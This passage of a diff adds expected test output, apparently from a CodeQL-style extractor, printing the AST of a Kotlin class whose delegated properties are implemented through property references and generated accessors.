+#   63|     2: [FieldDeclaration] int baseClassInt;
+#   63|       -1: [TypeAccess] int
+#   63|       0: [VarAccess] baseClassInt
+#   65|   9: [Class] MyClass
+#   65|     1: [Constructor] MyClass
+#-----|       4: (Parameters)
+#   65|         0: [Parameter] memberInt
+#   65|           0: [TypeAccess] int
+#   65|         1: [Parameter] anotherClassInstance
+#   65|           0: [TypeAccess] ClassWithDelegate
+#   65|       5: [BlockStmt] { ... }
+#   65|         0: [SuperConstructorInvocationStmt] super(...)
+#   65|           0: [VarAccess] memberInt
+#   65|         1: [BlockStmt] { ... }
+#   65|           0: [ExprStmt] <Expr>;
+#   65|             0: [KtInitializerAssignExpr] ...=...
+#   65|               0: [VarAccess] memberInt
+#   65|           1: [ExprStmt] <Expr>;
+#   65|             0: [KtInitializerAssignExpr] ...=...
+#   65|               0: [VarAccess] anotherClassInstance
+#   66|           2: [ExprStmt] <Expr>;
+#   66|             0: [KtInitializerAssignExpr] ...=...
+#   66|               0: [VarAccess] delegatedToMember1$delegate
+#   67|           3: [ExprStmt] <Expr>;
+#   67|             0: [KtInitializerAssignExpr] ...=...
+#   67|               0: [VarAccess] delegatedToMember2$delegate
+#   69|           4: [ExprStmt] <Expr>;
+#   69|             0: [KtInitializerAssignExpr] ...=...
+#   69|               0: [VarAccess] delegatedToExtMember1$delegate
+#   70|           5: [ExprStmt] <Expr>;
+#   70|             0: [KtInitializerAssignExpr] ...=...
+#   70|               0: [VarAccess] delegatedToExtMember2$delegate
+#   72|           6: [ExprStmt] <Expr>;
+#   72|             0: [KtInitializerAssignExpr] ...=...
+#   72|               0: [VarAccess] delegatedToBaseClass1$delegate
+#   73|           7: [ExprStmt] <Expr>;
+#   73|             0: [KtInitializerAssignExpr] ...=...
+#   73|               0: [VarAccess] delegatedToBaseClass2$delegate
+#   75|           8: [ExprStmt] <Expr>;
+#   75|             0: [KtInitializerAssignExpr] ...=...
+#   75|               0: [VarAccess] delegatedToAnotherClass1$delegate
+#   77|           9: [ExprStmt] <Expr>;
+#   77|             0: [KtInitializerAssignExpr] ...=...
+#   77|               0: [VarAccess] delegatedToTopLevel$delegate
+#   79|           10: [ExprStmt] <Expr>;
+#   79|             0: [KtInitializerAssignExpr] ...=...
+#   79|               0: [VarAccess] max$delegate
+#   65|     2: [Method] getMemberInt
+#   65|       3: [TypeAccess] int
+#   65|       5: [BlockStmt] { ... }
+#   65|         0: [ReturnStmt] return ...
+#   65|           0: [VarAccess] this.memberInt
+#   65|             -1: [ThisAccess] this
+#   65|     2: [Method] setMemberInt
+#   65|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   65|         0: [Parameter] <set-?>
+#   65|           0: [TypeAccess] int
+#   65|       5: [BlockStmt] { ... }
+#   65|         0: [ExprStmt] <Expr>;
+#   65|           0: [AssignExpr] ...=...
+#   65|             0: [VarAccess] this.memberInt
+#   65|               -1: [ThisAccess] this
+#   65|             1: [VarAccess] <set-?>
+#   65|     2: [FieldDeclaration] int memberInt;
+#   65|       -1: [TypeAccess] int
+#   65|       0: [VarAccess] memberInt
+#   65|     5: [Method] getAnotherClassInstance
+#   65|       3: [TypeAccess] ClassWithDelegate
+#   65|       5: [BlockStmt] { ... }
+#   65|         0: [ReturnStmt] return ...
+#   65|           0: [VarAccess] this.anotherClassInstance
+#   65|             -1: [ThisAccess] this
+#   65|     5: [FieldDeclaration] ClassWithDelegate anotherClassInstance;
+#   65|       -1: [TypeAccess] ClassWithDelegate
+#   65|       0: [VarAccess] anotherClassInstance
+#   66|     7: [Method] getDelegatedToMember1
+#   66|       3: [TypeAccess] int
+#   66|       5: [BlockStmt] { ... }
+#   66|         0: [ReturnStmt] return ...
+#   66|           0: [MethodAccess] getValue(...)
+#   66|             -2: [TypeAccess] Integer
+#   66|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   66|             0: [VarAccess] this.delegatedToMember1$delegate
+#   66|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   66|             2: [PropertyRefExpr] ...::...
+#   66|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   66|                 1: [Constructor] 
+#   66|                   5: [BlockStmt] { ... }
+#   66|                     0: [SuperConstructorInvocationStmt] super(...)
+#   66|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   66|                     0: [Parameter] a0
+#   66|                   5: [BlockStmt] { ... }
+#   66|                     0: [ReturnStmt] return ...
+#   66|                       0: [MethodAccess] getDelegatedToMember1(...)
+#   66|                         -1: [VarAccess] a0
+#   66|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   66|                     0: [Parameter] a0
+#   66|                   5: [BlockStmt] { ... }
+#   66|                     0: [ReturnStmt] return ...
+#   66|                       0: [MethodAccess] get(...)
+#   66|                         -1: [ThisAccess] this
+#   66|                         0: [VarAccess] a0
+#   66|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   66|                     0: [Parameter] a0
+#   66|                     1: [Parameter] a1
+#   66|                   5: [BlockStmt] { ... }
+#   66|                     0: [ReturnStmt] return ...
+#   66|                       0: [MethodAccess] setDelegatedToMember1(...)
+#   66|                         -1: [VarAccess] a0
+#   66|                         0: [VarAccess] a1
+#   66|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   66|                 0: [TypeAccess] MyClass
+#   66|                 1: [TypeAccess] Integer
+#   66|     7: [Method] setDelegatedToMember1
+#   66|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   66|         0: [Parameter] <set-?>
+#   66|           0: [TypeAccess] int
+#   66|       5: [BlockStmt] { ... }
+#   66|         0: [ReturnStmt] return ...
+#   66|           0: [MethodAccess] setValue(...)
+#   66|             -2: [TypeAccess] Integer
+#   66|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   66|             0: [VarAccess] this.delegatedToMember1$delegate
+#   66|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   66|             2: [PropertyRefExpr] ...::...
+#   66|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   66|                 1: [Constructor] 
+#   66|                   5: [BlockStmt] { ... }
+#   66|                     0: [SuperConstructorInvocationStmt] super(...)
+#   66|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   66|                     0: [Parameter] a0
+#   66|                   5: [BlockStmt] { ... }
+#   66|                     0: [ReturnStmt] return ...
+#   66|                       0: [MethodAccess] getDelegatedToMember1(...)
+#   66|                         -1: [VarAccess] a0
+#   66|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   66|                     0: [Parameter] a0
+#   66|                   5: [BlockStmt] { ... }
+#   66|                     0: [ReturnStmt] return ...
+#   66|                       0: [MethodAccess] get(...)
+#   66|                         -1: [ThisAccess] this
+#   66|                         0: [VarAccess] a0
+#   66|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   66|                     0: [Parameter] a0
+#   66|                     1: [Parameter] a1
+#   66|                   5: [BlockStmt] { ... }
+#   66|                     0: [ReturnStmt] return ...
+#   66|                       0: [MethodAccess] setDelegatedToMember1(...)
+#   66|                         -1: [VarAccess] a0
+#   66|                         0: [VarAccess] a1
+#   66|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   66|                 0: [TypeAccess] MyClass
+#   66|                 1: [TypeAccess] Integer
+#   66|             3: [VarAccess] <set-?>
+#   66|     7: [FieldDeclaration] KMutableProperty0<Integer> delegatedToMember1$delegate;
+#   66|       -1: [TypeAccess] KMutableProperty0<Integer>
+#   66|         0: [TypeAccess] Integer
+#   66|       0: [PropertyRefExpr] ...::...
+#   66|         -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   66|           1: [Constructor] 
+#-----|             4: (Parameters)
+#   66|               0: [Parameter] <dispatchReceiver>
+#   66|             5: [BlockStmt] { ... }
+#   66|               0: [SuperConstructorInvocationStmt] super(...)
+#   66|               1: [ExprStmt] <Expr>;
+#   66|                 0: [AssignExpr] ...=...
+#   66|                   0: [VarAccess] this.<dispatchReceiver>
+#   66|                     -1: [ThisAccess] this
+#   66|                   1: [VarAccess] <dispatchReceiver>
+#   66|           1: [FieldDeclaration] MyClass <dispatchReceiver>;
+#   66|             -1: [TypeAccess] MyClass
+#   66|           1: [Method] get
+#   66|             5: [BlockStmt] { ... }
+#   66|               0: [ReturnStmt] return ...
+#   66|                 0: [MethodAccess] getMemberInt(...)
+#   66|                   -1: [VarAccess] this.<dispatchReceiver>
+#   66|                     -1: [ThisAccess] this
+#   66|           1: [Method] invoke
+#   66|             5: [BlockStmt] { ... }
+#   66|               0: [ReturnStmt] return ...
+#   66|                 0: [MethodAccess] get(...)
+#   66|                   -1: [ThisAccess] this
+#   66|           1: [Method] set
+#-----|             4: (Parameters)
+#   66|               0: [Parameter] a0
+#   66|             5: [BlockStmt] { ... }
+#   66|               0: [ReturnStmt] return ...
+#   66|                 0: [MethodAccess] setMemberInt(...)
+#   66|                   -1: [VarAccess] this.<dispatchReceiver>
+#   66|                     -1: [ThisAccess] this
+#   66|                   0: [VarAccess] a0
+#   66|         -3: [TypeAccess] KMutableProperty0<Integer>
+#   66|           0: [TypeAccess] Integer
+#   66|         0: [ThisAccess] MyClass.this
+#   66|           0: [TypeAccess] MyClass
+#   67|     10: [Method] getDelegatedToMember2
+#   67|       3: [TypeAccess] int
+#   67|       5: [BlockStmt] { ... }
+#   67|         0: [ReturnStmt] return ...
+#   67|           0: [MethodAccess] getValue(...)
+#   67|             -3: [TypeAccess] Integer
+#   67|             -2: [TypeAccess] MyClass
+#   67|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   67|             0: [VarAccess] this.delegatedToMember2$delegate
+#   67|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   67|             2: [PropertyRefExpr] ...::...
+#   67|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   67|                 1: [Constructor] 
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [SuperConstructorInvocationStmt] super(...)
+#   67|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   67|                     0: [Parameter] a0
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [ReturnStmt] return ...
+#   67|                       0: [MethodAccess] getDelegatedToMember2(...)
+#   67|                         -1: [VarAccess] a0
+#   67|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   67|                     0: [Parameter] a0
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [ReturnStmt] return ...
+#   67|                       0: [MethodAccess] get(...)
+#   67|                         -1: [ThisAccess] this
+#   67|                         0: [VarAccess] a0
+#   67|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   67|                     0: [Parameter] a0
+#   67|                     1: [Parameter] a1
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [ReturnStmt] return ...
+#   67|                       0: [MethodAccess] setDelegatedToMember2(...)
+#   67|                         -1: [VarAccess] a0
+#   67|                         0: [VarAccess] a1
+#   67|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   67|                 0: [TypeAccess] MyClass
+#   67|                 1: [TypeAccess] Integer
+#   67|     10: [Method] setDelegatedToMember2
+#   67|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   67|         0: [Parameter] <set-?>
+#   67|           0: [TypeAccess] int
+#   67|       5: [BlockStmt] { ... }
+#   67|         0: [ReturnStmt] return ...
+#   67|           0: [MethodAccess] setValue(...)
+#   67|             -3: [TypeAccess] Integer
+#   67|             -2: [TypeAccess] MyClass
+#   67|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   67|             0: [VarAccess] this.delegatedToMember2$delegate
+#   67|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   67|             2: [PropertyRefExpr] ...::...
+#   67|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   67|                 1: [Constructor] 
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [SuperConstructorInvocationStmt] super(...)
+#   67|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   67|                     0: [Parameter] a0
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [ReturnStmt] return ...
+#   67|                       0: [MethodAccess] getDelegatedToMember2(...)
+#   67|                         -1: [VarAccess] a0
+#   67|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   67|                     0: [Parameter] a0
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [ReturnStmt] return ...
+#   67|                       0: [MethodAccess] get(...)
+#   67|                         -1: [ThisAccess] this
+#   67|                         0: [VarAccess] a0
+#   67|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   67|                     0: [Parameter] a0
+#   67|                     1: [Parameter] a1
+#   67|                   5: [BlockStmt] { ... }
+#   67|                     0: [ReturnStmt] return ...
+#   67|                       0: [MethodAccess] setDelegatedToMember2(...)
+#   67|                         -1: [VarAccess] a0
+#   67|                         0: [VarAccess] a1
+#   67|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   67|                 0: [TypeAccess] MyClass
+#   67|                 1: [TypeAccess] Integer
+#   67|             3: [VarAccess] <set-?>
+#   67|     10: [FieldDeclaration] KMutableProperty1<MyClass,Integer> delegatedToMember2$delegate;
+#   67|       -1: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   67|         0: [TypeAccess] MyClass
+#   67|         1: [TypeAccess] Integer
+#   67|       0: [PropertyRefExpr] ...::...
+#   67|         -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   67|           1: [Constructor] 
+#   67|             5: [BlockStmt] { ... }
+#   67|               0: [SuperConstructorInvocationStmt] super(...)
+#   67|           1: [Method] get
+#-----|             4: (Parameters)
+#   67|               0: [Parameter] a0
+#   67|             5: [BlockStmt] { ... }
+#   67|               0: [ReturnStmt] return ...
+#   67|                 0: [MethodAccess] getMemberInt(...)
+#   67|                   -1: [VarAccess] a0
+#   67|           1: [Method] invoke
+#-----|             4: (Parameters)
+#   67|               0: [Parameter] a0
+#   67|             5: [BlockStmt] { ... }
+#   67|               0: [ReturnStmt] return ...
+#   67|                 0: [MethodAccess] get(...)
+#   67|                   -1: [ThisAccess] this
+#   67|                   0: [VarAccess] a0
+#   67|           1: [Method] set
+#-----|             4: (Parameters)
+#   67|               0: [Parameter] a0
+#   67|               1: [Parameter] a1
+#   67|             5: [BlockStmt] { ... }
+#   67|               0: [ReturnStmt] return ...
+#   67|                 0: [MethodAccess] setMemberInt(...)
+#   67|                   -1: [VarAccess] a0
+#   67|                   0: [VarAccess] a1
+#   67|         -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   67|           0: [TypeAccess] MyClass
+#   67|           1: [TypeAccess] Integer
+#   69|     13: [Method] getDelegatedToExtMember1
+#   69|       3: [TypeAccess] int
+#   69|       5: [BlockStmt] { ... }
+#   69|         0: [ReturnStmt] return ...
+#   69|           0: [MethodAccess] getValue(...)
+#   69|             -2: [TypeAccess] Integer
+#   69|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   69|             0: [VarAccess] this.delegatedToExtMember1$delegate
+#   69|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   69|             2: [PropertyRefExpr] ...::...
+#   69|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   69|                 1: [Constructor] 
+#   69|                   5: [BlockStmt] { ... }
+#   69|                     0: [SuperConstructorInvocationStmt] super(...)
+#   69|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   69|                     0: [Parameter] a0
+#   69|                   5: [BlockStmt] { ... }
+#   69|                     0: [ReturnStmt] return ...
+#   69|                       0: [MethodAccess] getDelegatedToExtMember1(...)
+#   69|                         -1: [VarAccess] a0
+#   69|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   69|                     0: [Parameter] a0
+#   69|                   5: [BlockStmt] { ... }
+#   69|                     0: [ReturnStmt] return ...
+#   69|                       0: [MethodAccess] get(...)
+#   69|                         -1: [ThisAccess] this
+#   69|                         0: [VarAccess] a0
+#   69|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   69|                     0: [Parameter] a0
+#   69|                     1: [Parameter] a1
+#   69|                   5: [BlockStmt] { ... }
+#   69|                     0: [ReturnStmt] return ...
+#   69|                       0: [MethodAccess] setDelegatedToExtMember1(...)
+#   69|                         -1: [VarAccess] a0
+#   69|                         0: [VarAccess] a1
+#   69|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   69|                 0: [TypeAccess] MyClass
+#   69|                 1: [TypeAccess] Integer
+#   69|     13: [Method] setDelegatedToExtMember1
+#   69|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   69|         0: [Parameter] <set-?>
+#   69|           0: [TypeAccess] int
+#   69|       5: [BlockStmt] { ... }
+#   69|         0: [ReturnStmt] return ...
+#   69|           0: [MethodAccess] setValue(...)
+#   69|             -2: [TypeAccess] Integer
+#   69|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   69|             0: [VarAccess] this.delegatedToExtMember1$delegate
+#   69|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   69|             2: [PropertyRefExpr] ...::...
+#   69|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   69|                 1: [Constructor] 
+#   69|                   5: [BlockStmt] { ... }
+#   69|                     0: [SuperConstructorInvocationStmt] super(...)
+#   69|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   69|                     0: [Parameter] a0
+#   69|                   5: [BlockStmt] { ... }
+#   69|                     0: [ReturnStmt] return ...
+#   69|                       0: [MethodAccess] getDelegatedToExtMember1(...)
+#   69|                         -1: [VarAccess] a0
+#   69|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   69|                     0: [Parameter] a0
+#   69|                   5: [BlockStmt] { ... }
+#   69|                     0: [ReturnStmt] return ...
+#   69|                       0: [MethodAccess] get(...)
+#   69|                         -1: [ThisAccess] this
+#   69|                         0: [VarAccess] a0
+#   69|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   69|                     0: [Parameter] a0
+#   69|                     1: [Parameter] a1
+#   69|                   5: [BlockStmt] { ... }
+#   69|                     0: [ReturnStmt] return ...
+#   69|                       0: [MethodAccess] setDelegatedToExtMember1(...)
+#   69|                         -1: [VarAccess] a0
+#   69|                         0: [VarAccess] a1
+#   69|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   69|                 0: [TypeAccess] MyClass
+#   69|                 1: [TypeAccess] Integer
+#   69|             3: [VarAccess] <set-?>
+#   69|     13: [FieldDeclaration] KMutableProperty0<Integer> delegatedToExtMember1$delegate;
+#   69|       -1: [TypeAccess] KMutableProperty0<Integer>
+#   69|         0: [TypeAccess] Integer
+#   69|       0: [PropertyRefExpr] ...::...
+#   69|         -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   69|           1: [Constructor] 
+#-----|             4: (Parameters)
+#   69|               0: [Parameter] <extensionReceiver>
+#   69|             5: [BlockStmt] { ... }
+#   69|               0: [SuperConstructorInvocationStmt] super(...)
+#   69|               1: [ExprStmt] <Expr>;
+#   69|                 0: [AssignExpr] ...=...
+#   69|                   0: [VarAccess] this.<extensionReceiver>
+#   69|                     -1: [ThisAccess] this
+#   69|                   1: [VarAccess] <extensionReceiver>
+#   69|           1: [FieldDeclaration] MyClass <extensionReceiver>;
+#   69|             -1: [TypeAccess] MyClass
+#   69|           1: [Method] get
+#   69|             5: [BlockStmt] { ... }
+#   69|               0: [ReturnStmt] return ...
+#   69|                 0: [MethodAccess] getExtDelegated(...)
+#   69|                   -1: [TypeAccess] DelegatedPropertiesKt
+#   69|                   0: [VarAccess] this.<extensionReceiver>
+#   69|                     -1: [ThisAccess] this
+#   69|           1: [Method] invoke
+#   69|             5: [BlockStmt] { ... }
+#   69|               0: [ReturnStmt] return ...
+#   69|                 0: [MethodAccess] get(...)
+#   69|                   -1: [ThisAccess] this
+#   69|           1: [Method] set
+#-----|             4: (Parameters)
+#   69|               0: [Parameter] a0
+#   69|             5: [BlockStmt] { ... }
+#   69|               0: [ReturnStmt] return ...
+#   69|                 0: [MethodAccess] setExtDelegated(...)
+#   69|                   -1: [TypeAccess] DelegatedPropertiesKt
+#   69|                   0: [VarAccess] this.<extensionReceiver>
+#   69|                     -1: [ThisAccess] this
+#   69|                   1: [VarAccess] a0
+#   69|         -3: [TypeAccess] KMutableProperty0<Integer>
+#   69|           0: [TypeAccess] Integer
+#   69|         0: [ThisAccess] MyClass.this
+#   69|           0: [TypeAccess] MyClass
+#   70|     16: [Method] getDelegatedToExtMember2
+#   70|       3: [TypeAccess] int
+#   70|       5: [BlockStmt] { ... }
+#   70|         0: [ReturnStmt] return ...
+#   70|           0: [MethodAccess] getValue(...)
+#   70|             -3: [TypeAccess] Integer
+#   70|             -2: [TypeAccess] MyClass
+#   70|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   70|             0: [VarAccess] this.delegatedToExtMember2$delegate
+#   70|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   70|             2: [PropertyRefExpr] ...::...
+#   70|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   70|                 1: [Constructor] 
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [SuperConstructorInvocationStmt] super(...)
+#   70|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   70|                     0: [Parameter] a0
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [ReturnStmt] return ...
+#   70|                       0: [MethodAccess] getDelegatedToExtMember2(...)
+#   70|                         -1: [VarAccess] a0
+#   70|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   70|                     0: [Parameter] a0
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [ReturnStmt] return ...
+#   70|                       0: [MethodAccess] get(...)
+#   70|                         -1: [ThisAccess] this
+#   70|                         0: [VarAccess] a0
+#   70|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   70|                     0: [Parameter] a0
+#   70|                     1: [Parameter] a1
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [ReturnStmt] return ...
+#   70|                       0: [MethodAccess] setDelegatedToExtMember2(...)
+#   70|                         -1: [VarAccess] a0
+#   70|                         0: [VarAccess] a1
+#   70|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   70|                 0: [TypeAccess] MyClass
+#   70|                 1: [TypeAccess] Integer
+#   70|     16: [Method] setDelegatedToExtMember2
+#   70|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   70|         0: [Parameter] <set-?>
+#   70|           0: [TypeAccess] int
+#   70|       5: [BlockStmt] { ... }
+#   70|         0: [ReturnStmt] return ...
+#   70|           0: [MethodAccess] setValue(...)
+#   70|             -3: [TypeAccess] Integer
+#   70|             -2: [TypeAccess] MyClass
+#   70|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   70|             0: [VarAccess] this.delegatedToExtMember2$delegate
+#   70|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   70|             2: [PropertyRefExpr] ...::...
+#   70|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   70|                 1: [Constructor] 
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [SuperConstructorInvocationStmt] super(...)
+#   70|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   70|                     0: [Parameter] a0
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [ReturnStmt] return ...
+#   70|                       0: [MethodAccess] getDelegatedToExtMember2(...)
+#   70|                         -1: [VarAccess] a0
+#   70|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   70|                     0: [Parameter] a0
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [ReturnStmt] return ...
+#   70|                       0: [MethodAccess] get(...)
+#   70|                         -1: [ThisAccess] this
+#   70|                         0: [VarAccess] a0
+#   70|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   70|                     0: [Parameter] a0
+#   70|                     1: [Parameter] a1
+#   70|                   5: [BlockStmt] { ... }
+#   70|                     0: [ReturnStmt] return ...
+#   70|                       0: [MethodAccess] setDelegatedToExtMember2(...)
+#   70|                         -1: [VarAccess] a0
+#   70|                         0: [VarAccess] a1
+#   70|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   70|                 0: [TypeAccess] MyClass
+#   70|                 1: [TypeAccess] Integer
+#   70|             3: [VarAccess] <set-?>
+#   70|     16: [FieldDeclaration] KMutableProperty1<MyClass,Integer> delegatedToExtMember2$delegate;
+#   70|       -1: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   70|         0: [TypeAccess] MyClass
+#   70|         1: [TypeAccess] Integer
+#   70|       0: [PropertyRefExpr] ...::...
+#   70|         -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   70|           1: [Constructor] 
+#   70|             5: [BlockStmt] { ... }
+#   70|               0: [SuperConstructorInvocationStmt] super(...)
+#   70|           1: [Method] get
+#-----|             4: (Parameters)
+#   70|               0: [Parameter] a0
+#   70|             5: [BlockStmt] { ... }
+#   70|               0: [ReturnStmt] return ...
+#   70|                 0: [MethodAccess] getExtDelegated(...)
+#   70|                   -1: [TypeAccess] DelegatedPropertiesKt
+#   70|                   0: [VarAccess] a0
+#   70|           1: [Method] invoke
+#-----|             4: (Parameters)
+#   70|               0: [Parameter] a0
+#   70|             5: [BlockStmt] { ... }
+#   70|               0: [ReturnStmt] return ...
+#   70|                 0: [MethodAccess] get(...)
+#   70|                   -1: [ThisAccess] this
+#   70|                   0: [VarAccess] a0
+#   70|           1: [Method] set
+#-----|             4: (Parameters)
+#   70|               0: [Parameter] a0
+#   70|               1: [Parameter] a1
+#   70|             5: [BlockStmt] { ... }
+#   70|               0: [ReturnStmt] return ...
+#   70|                 0: [MethodAccess] setExtDelegated(...)
+#   70|                   -1: [TypeAccess] DelegatedPropertiesKt
+#   70|                   0: [VarAccess] a0
+#   70|                   1: [VarAccess] a1
+#   70|         -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   70|           0: [TypeAccess] MyClass
+#   70|           1: [TypeAccess] Integer
+#   72|     19: [Method] getDelegatedToBaseClass1
+#   72|       3: [TypeAccess] int
+#   72|       5: [BlockStmt] { ... }
+#   72|         0: [ReturnStmt] return ...
+#   72|           0: [MethodAccess] getValue(...)
+#   72|             -2: [TypeAccess] Integer
+#   72|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   72|             0: [VarAccess] this.delegatedToBaseClass1$delegate
+#   72|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   72|             2: [PropertyRefExpr] ...::...
+#   72|               -4: [AnonymousClass] new KProperty1<MyClass,Integer>(...) { ... }
+#   72|                 1: [Constructor] 
+#   72|                   5: [BlockStmt] { ... }
+#   72|                     0: [SuperConstructorInvocationStmt] super(...)
+#   72|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   72|                     0: [Parameter] a0
+#   72|                   5: [BlockStmt] { ... }
+#   72|                     0: [ReturnStmt] return ...
+#   72|                       0: [MethodAccess] getDelegatedToBaseClass1(...)
+#   72|                         -1: [VarAccess] a0
+#   72|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   72|                     0: [Parameter] a0
+#   72|                   5: [BlockStmt] { ... }
+#   72|                     0: [ReturnStmt] return ...
+#   72|                       0: [MethodAccess] get(...)
+#   72|                         -1: [ThisAccess] this
+#   72|                         0: [VarAccess] a0
+#   72|               -3: [TypeAccess] KProperty1<MyClass,Integer>
+#   72|                 0: [TypeAccess] MyClass
+#   72|                 1: [TypeAccess] Integer
+#   72|     19: [FieldDeclaration] KProperty0<Integer> delegatedToBaseClass1$delegate;
+#   72|       -1: [TypeAccess] KProperty0<Integer>
+#   72|         0: [TypeAccess] Integer
+#   72|       0: [PropertyRefExpr] ...::...
+#   72|         -4: [AnonymousClass] new KProperty0<Integer>(...) { ... }
+#   72|           1: [Constructor] 
+#-----|             4: (Parameters)
+#   72|               0: [Parameter] <dispatchReceiver>
+#   72|             5: [BlockStmt] { ... }
+#   72|               0: [SuperConstructorInvocationStmt] super(...)
+#   72|               1: [ExprStmt] <Expr>;
+#   72|                 0: [AssignExpr] ...=...
+#   72|                   0: [VarAccess] this.<dispatchReceiver>
+#   72|                     -1: [ThisAccess] this
+#   72|                   1: [VarAccess] <dispatchReceiver>
+#   72|           1: [FieldDeclaration] MyClass <dispatchReceiver>;
+#   72|             -1: [TypeAccess] MyClass
+#   72|           1: [Method] get
+#   72|             5: [BlockStmt] { ... }
+#   72|               0: [ReturnStmt] return ...
+#   72|                 0: [MethodAccess] getBaseClassInt(...)
+#   72|                   -1: [VarAccess] this.<dispatchReceiver>
+#   72|                     -1: [ThisAccess] this
+#   72|           1: [Method] invoke
+#   72|             5: [BlockStmt] { ... }
+#   72|               0: [ReturnStmt] return ...
+#   72|                 0: [MethodAccess] get(...)
+#   72|                   -1: [ThisAccess] this
+#   72|         -3: [TypeAccess] KProperty0<Integer>
+#   72|           0: [TypeAccess] Integer
+#   72|         0: [ThisAccess] MyClass.this
+#   72|           0: [TypeAccess] MyClass
+#   73|     21: [Method] getDelegatedToBaseClass2
+#   73|       3: [TypeAccess] int
+#   73|       5: [BlockStmt] { ... }
+#   73|         0: [ReturnStmt] return ...
+#   73|           0: [MethodAccess] getValue(...)
+#   73|             -3: [TypeAccess] Integer
+#   73|             -2: [TypeAccess] Base
+#   73|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   73|             0: [VarAccess] this.delegatedToBaseClass2$delegate
+#   73|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
